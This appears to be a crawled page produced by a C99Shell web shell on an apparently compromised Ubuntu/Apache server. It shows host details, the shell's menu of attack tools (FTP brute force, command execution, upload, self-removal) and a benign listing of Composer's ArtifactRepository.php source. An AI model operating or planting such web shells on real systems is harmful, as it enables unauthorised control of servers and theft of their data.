!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/composer/composer/src/Composer/Repository/   drwxr-xr-x
Free 13.34 GB of 57.97 GB (23.02%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ArtifactRepository.php (4.06 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer\Repository;

use 
Composer\IO\IOInterface;
use 
Composer\Json\JsonFile;
use 
Composer\Package\Loader\ArrayLoader;
use 
Composer\Package\Loader\LoaderInterface;
use 
Composer\Util\Tar;
use 
Composer\Util\Zip;

/**
 * @author Serge Smertin <serg.smertin@gmail.com>
 */
class ArtifactRepository extends ArrayRepository implements ConfigurableRepositoryInterface
{
    
/** @var LoaderInterface */
    
protected $loader;

    protected 
$lookup;
    protected 
$repoConfig;
    private 
$io;

    public function 
__construct(array $repoConfigIOInterface $io)
    {
        
parent::__construct();
        if (!
extension_loaded('zip')) {
            throw new 
\RuntimeException('The artifact repository requires PHP\'s zip extension');
        }

        
$this->loader = new ArrayLoader();
        
$this->lookup $repoConfig['url'];
        
$this->io $io;
        
$this->repoConfig $repoConfig;
    }

    public function 
getRepoName()
    {
        return 
'artifact repo ('.$this->lookup.')';
    }

    public function 
getRepoConfig()
    {
        return 
$this->repoConfig;
    }

    protected function 
initialize()
    {
        
parent::initialize();

        
$this->scanDirectory($this->lookup);
    }

    private function 
scanDirectory($path)
    {
        
$io $this->io;

        
$directory = new \RecursiveDirectoryIterator($path\RecursiveDirectoryIterator::FOLLOW_SYMLINKS);
        
$iterator = new \RecursiveIteratorIterator($directory);
        
$regex = new \RegexIterator($iterator'/^.+\.(zip|phar|tar|gz|tgz)$/i');
        foreach (
$regex as $file) {
            
/* @var $file \SplFileInfo */
            
if (!$file->isFile()) {
                continue;
            }

            
$package $this->getComposerInformation($file);
            if (!
$package) {
                
$io->writeError("File <comment>{$file->getBasename()}</comment> doesn't seem to hold a package"trueIOInterface::VERBOSE);
                continue;
            }

            
$template 'Found package <info>%s</info> (<comment>%s</comment>) in file <info>%s</info>';
            
$io->writeError(sprintf($template$package->getName(), $package->getPrettyVersion(), $file->getBasename()), trueIOInterface::VERBOSE);

            
$this->addPackage($package);
        }
    }

    private function 
getComposerInformation(\SplFileInfo $file)
    {
        
$json null;
        
$fileType null;
        
$fileExtension pathinfo($file->getPathname(), PATHINFO_EXTENSION);
        if (
in_array($fileExtension, array('gz''tar''tgz'), true)) {
            
$fileType 'tar';
        } elseif (
$fileExtension === 'zip') {
            
$fileType 'zip';
        } else {
            throw new 
\RuntimeException('Files with "'.$fileExtension.'" extensions aren\'t supported. Only ZIP and TAR/TAR.GZ/TGZ archives are supported.');
        }

        try {
            if (
$fileType === 'tar') {
                
$json Tar::getComposerJson($file->getPathname());
            } else {
                
$json Zip::getComposerJson($file->getPathname());
            }
        } catch (
\Exception $exception) {
            
$this->io->write('Failed loading package '.$file->getPathname().': '.$exception->getMessage(), falseIOInterface::VERBOSE);
        }

        if (
null === $json) {
            return 
false;
        }

        
$package JsonFile::parseJson($json$file->getPathname().'#composer.json');
        
$package['dist'] = array(
            
'type' => $fileType,
            
'url' => strtr($file->getPathname(), '\\''/'),
            
'shasum' => sha1_file($file->getRealPath()),
        );

        try {
            
$package $this->loader->load($package);
        } catch (
\UnexpectedValueException $e) {
            throw new 
\UnexpectedValueException('Failed loading package in '.$file.': '.$e->getMessage(), 0$e);
        }

        return 
$package;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0058 ]--